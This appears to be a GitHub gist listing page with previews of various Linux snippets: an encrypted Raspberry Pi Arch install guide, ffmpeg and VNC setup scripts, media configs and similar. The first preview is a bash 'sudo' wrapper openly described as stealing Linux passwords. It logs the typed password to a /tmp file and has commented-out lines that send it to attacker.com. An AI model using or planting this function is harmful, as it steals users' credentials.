Skip to content

Instantly share code, notes, and snippets.

@tokyoneon
tokyoneon / sudo
Last active December 8, 2024 03:59
Sudo function for stealing Linux passwords
function sudo ()
{
# https://null-byte.com/privesc-0194190/
realsudo="$(which sudo)";
read -s -p "[sudo] password for $USER: " inputPasswd;
printf "\n";
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;
@gea0
gea0 / arch-rpi-64-full-disk-encryption-ssh-unlock.md
Last active May 12, 2026 12:19
Tutorial for installing a 64-bit Arch Linux ARM system on the Raspberry Pi 3B+, with an encrypted root filesystem, and the option to remotely unlock it via a pre-boot SSH daemon.

Arch Linux ARM 64 on Raspberry Pi 3 B+ With Full Disk Encryption And SSH Unlock: 2018 Edition

There are multiple ways to get a full disk encrypted arch linux system on raspberry. In this tutorial, we will install a 64-bit arch linux armv8 system, using dropbear as ssh server for remote pre-boot unlocking of the root filesystem. However, it will still be possible to unlock and use the pi as usual, with a keyboard and monitor. We will also create an unencrypted partition in the installation process, usable as a rescue system.

Differences to the 32-bit arch linux arm version:

  • probably better performance
  • can run 64-bit software
  • comes without the proprietary video-driver blobs
@sparrc
sparrc / install-ffmpeg.sh
Last active December 3, 2025 18:18
Installs ffmpeg with libaom and libx265 enabled for av1 and hevc encoding (tested on Ubuntu 16.04)
#!/usr/bin/env bash
# Installs ffmpeg from source (HEAD) with libaom and libx265, as well as a few
# other common libraries
# binary will be at ~/bin/ffmpeg
sudo apt update && sudo apt upgrade -y
mkdir -p ~/ffmpeg_sources ~/bin
export PATH="$HOME/bin:$PATH"
@sunapi386
sunapi386 / record_screen.sh
Created February 3, 2018 05:57
Record screen
#!/bin/bash
record_screen() {
SCREEN_RES=$(xrandr -q --current | grep '*' | awk '{print$1}')
DATE=$(date '+%Y-%m-%d-%H:%M:%S')
echo "saving to recording_$DATE.mkv"
echo "Ctrl-C to exit"
ffmpeg -loglevel panic -f x11grab -s $SCREEN_RES -i :0.0 -r 25 -vcodec libx264 "recording_$DATE.mkv"
}
record_screen
@sunapi386
sunapi386 / SimpleRasbian.sh
Last active June 23, 2018 22:39
Clean minimal Raspbian
#!/usr/bin/env bash
# Given a fresh install of a Raspian OS, install the necessary tools.
# This is only meant to run once to setup a brand new fresh OS install.
#
# Author: Jason Sun
# Date: Feb 01, 2018
#
packages(){
sudo apt update
@sunapi386
sunapi386 / x11vnc-start
Created January 15, 2018 23:56 — forked from tavinus/x11vnc-start
Starts VNC server for the current session
#!/bin/bash
###########################################################################
# /usr/local/bin/x11vnc-start
# Starts VNC server for the current session
#
# Gustavo Neves - 4th Jul 2016
#
# Install x11vnc:
# sudo apt-get install x11vnc
@obfusk
obfusk / client-ssh.sh
Last active June 23, 2018 21:25
m-over-reverse-ssh
#!/bin/bash
cleanup() {
trap - EXIT INT TERM HUP
rm -f ~/._m_fifo_{i,o}
}
echo CLIENT SSH >&2
mkfifo ~/._m_fifo_{i,o}
trap cleanup EXIT; trap exit INT TERM HUP
{ while cat ~/._m_fifo_o; do :; done; } & cat > ~/._m_fifo_i; wait
@viliampucik
viliampucik / mpv.conf
Last active October 17, 2025 22:06
MPV YouTube
ytdl-format=bestvideo[ext=mp4][height<=1080]+bestaudio/best[ext=mp4]/best
@arcenet
arcenet / gist:24015f4e34a00bbaa8f3bcc64c1745e6
Created August 13, 2017 08:55
Installing haveged on Debian/Ubuntu
apt-get install haveged
nano /etc/default/haveged # Setup DAEMON_ARGS="-w 1024"
update-rc.d haveged defaults
cat /dev/random | rngtest -c 1000 # Testing Availability of Entropy & Quality of Random Data
cat /proc/sys/kernel/random/entropy_avail # To test the amount of available entropy
@obfusk
obfusk / ytdl.desktop
Last active June 23, 2018 21:30
youtube-dl "GUI"
[Desktop Entry]
Name=youtube-dl GUI
Comment=downloads videos using youtube-dl to ~/ytdl
Exec=bash -c 'mkdir -p ~/ytdl && cd ~/ytdl && youtube-dl -- "$(zenity --entry --text "URL")"; read -p "press enter to quit."'
Icon=terminal
Terminal=true
StartupNotify=false
Type=Application